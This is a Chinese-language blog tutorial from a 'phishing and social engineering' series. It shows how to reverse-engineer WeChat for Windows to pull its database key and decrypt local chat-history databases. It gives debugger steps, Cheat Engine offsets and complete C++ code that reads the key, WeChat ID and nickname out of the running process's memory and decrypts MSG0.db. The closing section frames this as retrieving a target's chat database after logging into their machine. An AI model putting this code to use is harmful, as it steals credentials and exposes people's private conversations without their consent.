钓鱼与社工系列之某信聊天记录解密

微信聊天记录解密

前言:该文是从网上各文章中东拼西凑出来的一篇纯复现文章,分享该文章目的是为了让没基础的朋友也能够复现。也请看到该篇文章的朋友严禁将该方法用于非授权的测试及非法用途,否则后果自负。

目录

0x01 逆向获取密钥
0x02 解密本地数据库
0x03 CE寻找密钥的基址
0x04 实现获取动态密钥的代码
0x05 实战
0x06 总结
0x07 参考链接

0x01 逆向获取密钥

微信的数据库存储在本地

好友微信id等各种信息存储在该目录下
C:\Users\xxxxxx\Documents\WeChat Files\wxid_xxxxxxxxxx\Msg

img

和微信好友的聊天记录存储在multi目录下的MSG0.db数据库里
C:\Users\xxxxxx\Documents\WeChat Files\wxid_xxxxxxxxxx\Msg\Multi

img

解密这些数据库需要密钥,密钥是所有数据库共用同一个密钥,所以逆向的时候找到解密其中一个数据库时用的密钥即可。

至于如何找到这个密钥,因为这些数据库都是通过AES加密,而AES的密钥是32位的,32的十六位进制是20,所以在逆向的过程中重点关注20这个数字。

下面开始详细的寻找密钥过程,因为水平有限,所以跟着前辈的路线走,目的就是为了找到密钥是多少

从下面这篇文章中知道可以通过 open db fail=%d ,error=%s 这个字符串取定位到密钥附近的代码

img

于是使用x32dbg去跟踪

使用x32dbg打开wechat.exe程序

img

会弹出微信的登录框

img

右键–>搜索–>所有模块–>字符串

img

在引用的搜索框中输入 open db fail=%d ,error=%s

img

选中这两行按F2设置断点

img

根据文章中的说明对红框中的代码设置断点

img

于是双击第一个断点,进入CPU页面,对je wechatwin.57A3DCDB设置断点

img

接下来重启

img

双击登录

img

此时跳到了刚才断点处

img

按F7单步步进,进入到 cmp dword ptr ds:[ebx+30],0

img

往下翻,对红框的内容设置断点

img

按F9重新回到了一开始的断点处

img

继续按F9跳到了push eax,再按F9跳到push esi,然后查看eax的值

img

选中EAX的值,右键–>在内存窗口中转到,可以看到下一个字节是数字20

img

得到了密钥的地址:88 4D 88 04

接下来跳转到地址04884D88获取密钥的值

右键–>转到–>表达式

img

输入刚才得到的地址04884D88

img

跳转过去后,取32个字节,即红框里的内容

04884D88  6F 50 9B 68 38 4C 46 68 8B A0 8C 54 E1 0A DA 74  oP.h8LFh. .Tá.Út  
04884D98  21 30 09 87 52 84 43 AF 8E CF C9 14 F4 DF 95 19  !0..R.C¯.ÏÉ.ôß..  

img

此时密钥拿到了,接下来尝试解密

0x02 解密本地数据库

需要安装老版本的openssl,下载地址:https://slproweb.com/download/Win32OpenSSL-1_0_2u.exe

默认安装就行

img

接下来需要配置解密代码的项目,用Visual Studio创建C++控制台应用

根据顺序将openssl的include添加进去

img

同理添加lib目录

img

如上增加两个库名称

img

配置如上设置就可以了,接下来编译代码,代码如下。每次修改pass里的密钥即可。

using namespace std;
#include <Windows.h>
#include <iostream>
#include <openssl/rand.h>
#include <openssl/evp.h>
#include <openssl/aes.h>
#include <openssl/hmac.h>
#undef _UNICODE
#define SQLITE_FILE_HEADER "SQLite format 3" 
#define IV_SIZE 16
#define HMAC_SHA1_SIZE 20
#define KEY_SIZE 32
#define SL3SIGNLEN 20
#ifndef ANDROID_WECHAT
#define DEFAULT_PAGESIZE 4096       //4048数据 + 16IV + 20 HMAC + 12
#define DEFAULT_ITER 64000
#else
#define NO_USE_HMAC_SHA1
#define DEFAULT_PAGESIZE 1024
#define DEFAULT_ITER 4000
#endif
//pc端密码是经过OllyDbg得到的32位pass。
unsigned char pass[] = { 0xba,0x9f,0x56,0x04,0xc7,0x6b,0x4a,0xd5,0x8c,0xf7,0xaa,0x46,0x78,0x2c,0x7f,0xb7,0x2b,0x03,0xc5,0xfd,0x00,0x10,0x41,0xdb,0x9a,0xd6,0x6b,0x5f,0x6b,0x16,0x28,0xe1 };
char dbfilename[50];
int Decryptdb();
int CheckKey();
int CheckAESKey();
int main(int argc, char* argv[])
{
    if (argc >= 2)    //第二个参数argv[1]是文件名
        strcpy_s(dbfilename, argv[1]);  //复制    
           //没有提供文件名,则提示用户输入
    else {
        cout << "请输入文件名:" << endl;
        cin >> dbfilename;
    }
    Decryptdb();
    return 0;
}
int Decryptdb()
{
    FILE* fpdb;
    fopen_s(&fpdb, dbfilename, "rb+");
    if (!fpdb)
    {
        printf("打开文件错!");
        getchar();
        return 0;
    }
    fseek(fpdb, 0, SEEK_END);
    long nFileSize = ftell(fpdb);
    fseek(fpdb, 0, SEEK_SET);
    unsigned char* pDbBuffer = new unsigned char[nFileSize];
    fread(pDbBuffer, 1, nFileSize, fpdb);
    fclose(fpdb);
    unsigned char salt[16] = { 0 };
    memcpy(salt, pDbBuffer, 16);
#ifndef NO_USE_HMAC_SHA1
    unsigned char mac_salt[16] = { 0 };
    memcpy(mac_salt, salt, 16);
    for (int i = 0; i < sizeof(salt); i++)
    {
        mac_salt[i] ^= 0x3a;
    }
#endif
    int reserve = IV_SIZE;      //校验码长度,PC端每4096字节有48字节
#ifndef NO_USE_HMAC_SHA1
    reserve += HMAC_SHA1_SIZE;
#endif
    reserve = ((reserve % AES_BLOCK_SIZE) == 0) ? reserve : ((reserve / AES_BLOCK_SIZE) + 1) * AES_BLOCK_SIZE;
    unsigned char key[KEY_SIZE] = { 0 };
    unsigned char mac_key[KEY_SIZE] = { 0 };
    OpenSSL_add_all_algorithms();
    PKCS5_PBKDF2_HMAC_SHA1((const char*)pass, sizeof(pass), salt, sizeof(salt), DEFAULT_ITER, sizeof(key), key);
#ifndef NO_USE_HMAC_SHA1
    PKCS5_PBKDF2_HMAC_SHA1((const char*)key, sizeof(key), mac_salt, sizeof(mac_salt), 2, sizeof(mac_key), mac_key);
#endif
    unsigned char* pTemp = pDbBuffer;
    unsigned char pDecryptPerPageBuffer[DEFAULT_PAGESIZE];
    int nPage = 1;
    int offset = 16;
    while (pTemp < pDbBuffer + nFileSize)
    {
        printf("解密数据页:%d/%d \n", nPage, nFileSize / DEFAULT_PAGESIZE);
#ifndef NO_USE_HMAC_SHA1
        unsigned char hash_mac[HMAC_SHA1_SIZE] = { 0 };
        unsigned int hash_len = 0;
        HMAC_CTX hctx;
        HMAC_CTX_init(&hctx);
        HMAC_Init_ex(&hctx, mac_key, sizeof(mac_key), EVP_sha1(), NULL);
        HMAC_Update(&hctx, pTemp + offset, DEFAULT_PAGESIZE - reserve - offset + IV_SIZE);
        HMAC_Update(&hctx, (const unsigned char*)&nPage, sizeof(nPage));
        HMAC_Final(&hctx, hash_mac, &hash_len);
        HMAC_CTX_cleanup(&hctx);
        if (0 != memcmp(hash_mac, pTemp + DEFAULT_PAGESIZE - reserve + IV_SIZE, sizeof(hash_mac)))
        {
            //printf("\n 哈希值错误! \n");
            //getchar();
            //return 0;
        }
#endif
        //
        if (nPage == 1)
        {
            memcpy(pDecryptPerPageBuffer, SQLITE_FILE_HEADER, offset);
        }
        EVP_CIPHER_CTX* ectx = EVP_CIPHER_CTX_new();
        EVP_CipherInit_ex(ectx, EVP_get_cipherbyname("aes-256-cbc"), NULL, NULL, NULL, 0);
        EVP_CIPHER_CTX_set_padding(ectx, 0);
        EVP_CipherInit_ex(ectx, NULL, NULL, key, pTemp + (DEFAULT_PAGESIZE - reserve), 0);
        int nDecryptLen = 0;
        int nTotal = 0;
        EVP_CipherUpdate(ectx, pDecryptPerPageBuffer + offset, &nDecryptLen, pTemp + offset, DEFAULT_PAGESIZE - reserve - offset);
        nTotal = nDecryptLen;
        EVP_CipherFinal_ex(ectx, pDecryptPerPageBuffer + offset + nDecryptLen, &nDecryptLen);
        nTotal += nDecryptLen;
        EVP_CIPHER_CTX_free(ectx);
        memcpy(pDecryptPerPageBuffer + DEFAULT_PAGESIZE - reserve, pTemp + DEFAULT_PAGESIZE - reserve, reserve);
        char decFile[1024] = { 0 };
        sprintf_s(decFile, "dec_%s", dbfilename);
        FILE* fp;
        fopen_s(&fp, decFile, "ab+");
        {
            fwrite(pDecryptPerPageBuffer, 1, DEFAULT_PAGESIZE, fp);
            fclose(fp);
        }
        nPage++;
        offset = 0;
        pTemp += DEFAULT_PAGESIZE;
    }
    printf("\n 解密成功! \n");
    return 0;
}

编译出来exe,运行的时候跟上要解密的db文件即可

img

解密结束后会在当前目录生成dec_MicroMsg.db文件。然后用打开sqlite3数据库的连接工具打开即可。

img

0x03 CE寻找密钥的基址

下一步是如何获取动态密钥

方法是使用CE取寻找密钥的基址

先下载CE,下载地址

https://d7qe0znl1rfet.cloudfront.net/installer/575474003088649/859880

再下载中文语言包

https://www.cheatengine.org/download/ch_cn.zip

安装CE后,将中文语言包解压后放到该目录下

img

编辑language,ini文件

img

此时打开CE即使中文版,选择打开进程

img

选择微信进程

img

通过之前找到的密钥去定位基址

6F509B68384C46688BA08C54E10ADA7421300987528443AF8ECFC914F4DF9519

字节数组–>搜索数组–>Hex–>密钥值

img

点击首次扫描,得到地址05E4BE68

img

新的扫描–>所有类型–>精确数值–>Hex–>上一步的地址–>首次扫描

img

得到了偏移量,即:WeChatWin.dll+1AD1F8C

img

0x04 实现获取动态密钥的代码

最后就可以通过代码去获取,步骤则是

通过WeChatMainWndForPC获取微信的句柄,通过该句柄获取到微信的进程id,再找到微信的安装目录,拼接路径得到WeChatWin.dll的路径,通过上一步的偏移量得到密钥的值。

同理获取微信id和微信名的偏移量

字符串搜索微信id,找到了很多地址,选择05E开头的,因为密钥的偏移量是05E开头的,那么猜测微信id可能也存在同一个dll里,即WeChatWin.dll里

img

得到偏移量

img

同理可以获取微信名称的偏移量。

核心代码如下:

getKey.h

#pragma once
#include <stdio.h>
#include <Windows.h>
#include <tchar.h>
#include <direct.h>
#include <stdlib.h>
#include <TlHelp32.h>
#include <string>
#include <strstream>
#include <list>
#include <Psapi.h>  
#pragma comment (lib,"Psapi.lib")  
#pragma comment(lib, "Version.lib")
using namespace std;
const string wxVersoin1 = "2.9.0.123";
#define version1 0x16B4D50
#define wxid_addr1 0x16B4914
#define wxname_addr1 0x16B498C
const string wxVersoin2 = "2.9.0.112";
#define version2 0x16B4C70
#define wxid_addr2 0x16B4834
#define wxname_addr2 0x16B48AC
const string wxVersoin3 = "2.9.5.56";
#define version3 0x17744A8
#define wxid_addr3 0x1774054
#define wxname_addr3 0x17740CC
const string wxVersoin4 = "3.2.1.154";
#define version4 0x1AD1F8C
#define wxid_addr4 0x1AC2100
#define wxname_addr4 0x1AD1BAC
DWORD GetProcessIDByName(const char* pName);
PVOID GetProcessImageBase(DWORD dwProcessId, const char* dllName);
DWORD IsWxVersionValid(WCHAR* VersionFilePath);
int GetdbKey(unsigned char* databasekey, unsigned char* wxid);

getKey.cpp

#include "getKey.h"
#include <iostream>
//判断微信版本,确定偏移
DWORD IsWxVersionValid(WCHAR* VersionFilePath)
{
    string asVer = "";
    VS_FIXEDFILEINFO* pVsInfo;
    unsigned int iFileInfoSize = sizeof(VS_FIXEDFILEINFO);
    int iVerInfoSize = GetFileVersionInfoSizeW(VersionFilePath, NULL);
    if (iVerInfoSize != 0) {
        char* pBuf = new char[iVerInfoSize];
        if (GetFileVersionInfoW(VersionFilePath, 0, iVerInfoSize, pBuf)) {
            if (VerQueryValue(pBuf, TEXT("\\"), (void**)&pVsInfo, &iFileInfoSize)) {
                //主版本2.9.0.123
                //2
                int s_major_ver = (pVsInfo->dwFileVersionMS >> 16) & 0x0000FFFF;
                //9
                int s_minor_ver = pVsInfo->dwFileVersionMS & 0x0000FFFF;
                //0
                int s_build_num = (pVsInfo->dwFileVersionLS >> 16) & 0x0000FFFF;
                //123
                int s_revision_num = pVsInfo->dwFileVersionLS & 0x0000FFFF;
                //把版本变成字符串
                strstream wxVer;
                wxVer << s_major_ver << "." << s_minor_ver << "." << s_build_num << "." << s_revision_num;
                wxVer >> asVer;
            }
        }
        delete[] pBuf;
    }
    printf("var = %s\n", asVer.c_str());

    if (asVer == wxVersoin1)
        return version1;
    else if (asVer == wxVersoin2)
        return version2;
    else if (asVer == wxVersoin3)
        return version3;
    else if (asVer == wxVersoin4)
        return version4;
    else
        return 0;

    return version4;
}
//通过pid和模块名获取基址
PVOID GetProcessImageBase(DWORD dwProcessId, const char* dllName)
{
    PVOID pProcessImageBase = NULL;
    MODULEENTRY32 me32 = { 0 };
    me32.dwSize = sizeof(MODULEENTRY32);
    // 获取指定进程全部模块的快照
    HANDLE hModuleSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessId);
    if (INVALID_HANDLE_VALUE == hModuleSnap)
    {
        return pProcessImageBase;
    }
    // 获取快照中第一条信息
    BOOL bRet = ::Module32First(hModuleSnap, &me32);
    while (strcmp((char*)me32.szModule, dllName) != 0)
    {
        Module32Next(hModuleSnap, &me32);
    }
    pProcessImageBase = (PVOID)me32.modBaseAddr;
    // 关闭句柄
    ::CloseHandle(hModuleSnap);
    return pProcessImageBase;
}
//获取数据库密钥
int GetdbKey(unsigned char* databasekey, unsigned char* wxid)
{
    HWND phandle = FindWindow("WeChatMainWndForPC", NULL);//获取句柄
    if (!phandle)
    {
        printf("%d\n", GetLastError());
        return 0;
    }
    DWORD pid;
    GetWindowThreadProcessId(phandle, &pid);//获取进程id
    if (!pid)
    {
        return 0;
    }
    printf("wechat pid = %d\n", pid);
    HANDLE mProc = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
    if (mProc == NULL)
    {
        return 0;
    }

    wchar_t path[MAX_PATH];
    if (!GetModuleFileNameExW(mProc, NULL, path, MAX_PATH))
        return 0;
    else
    {
        // cout << "path" << path << endl;
        for (int i = 0; i < sizeof(path); ++i) {
            cout << (char)path[i];
            if (path[i] == '.')
            {
                wcscpy_s(&path[i], sizeof(L"Win.dll"), L"Win.dll");
                break;
            }
        }
    }
    cout << endl;
    for (int i = 0; i < sizeof(path); ++i) {
        cout << (char)path[i];
    }

    //DWORD WxDatabaseKey = IsWxVersionValid(path);
    //if (!WxDatabaseKey)
    //  return 0;

    DWORD WxDatabaseKey = version4;

    //获取WeChatWin的基址
    DWORD base_address = (DWORD)GetProcessImageBase(pid, "WeChatWin.dll");
    // printf("dllbase_address = %p\n", base_address);

    DWORD dwKeyAddr = base_address + WxDatabaseKey;
    //printf("Addr = %p\n", dwKeyAddr);

    int addr = 0;
    DWORD dwOldAttr = 0;
    //获取数据库密钥
    ReadProcessMemory(mProc, (LPCVOID)dwKeyAddr, &addr, 4, NULL);
    //printf("key addr = %x\n", addr);
    ReadProcessMemory(mProc, (LPCVOID)addr, databasekey, 0x20, NULL);
    unsigned char wxname[100] = { 0 };

    //获取微信昵称
    DWORD wxAddr = base_address + wxname_addr4;
    //printf("wxAddr = %x\n", wxAddr);
    ReadProcessMemory(mProc, (LPCVOID)wxAddr, wxname, 100, NULL);
    printf("\nname: %s\n", wxname);
    //获取微信id
    wxAddr = base_address + wxid_addr4;
    //printf("wxAddr = %x\n", wxAddr);
    ReadProcessMemory(mProc, (LPCVOID)wxAddr, &addr, 4, NULL);
    //printf("wxid addr = %x\n", addr);
    ReadProcessMemory(mProc, (LPCVOID)addr, wxid, 100, NULL);
    printf("wxid: %s\n", wxid);
    //打印密钥
    printf("key: ");
    for (int i = 0; i < 0x20; i++)
    {
        printf("%02x", databasekey[i]);
    }


    return 1;
}

wechatKey.cpp

// wechatKey.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include "Getkey.h"
unsigned char pass[33] = { 0 };
unsigned char filepath[256] = { 0 };
unsigned char wxid[256] = { 0 };
int main()
{
    std::cout << "Hello World!\n";
    GetdbKey(pass, wxid);
}

运行工具得到密钥

img

0x05 实战

下载MSG0.db文件

img

获取密钥

img

本地解密得到聊天数据内容

img

总结

每一个微信号在每一台机器上面的密钥是固定的,所以只要目标机器登录了微信,那么就可以通过该工具动态获取密钥。然后拖回MSG0.db聊天记录的数据库,解密即可。

参考链接

核心思路 https://www.xuenixiang.com/thread-2409-1-1.html
https://bbs.pediy.com/thread-251303.htm
https://www.dongzt.cn/archives/495.html
https://www.52pojie.cn/thread-1084703-1-1.html
https://blog.csdn.net/weixin_30230009/article/details/105100181
配置openssl教程 https://bbs.pediy.com/thread-251303-1.htm
基址寻找 https://zhuanlan.zhihu.com/p/95932843
核心代码 https://github.com/A2kaid/Get-WeChat-DB

   转载规则


《钓鱼与社工系列之某信聊天记录解密》 ske 采用 知识共享署名 4.0 国际许可协议 进行许可。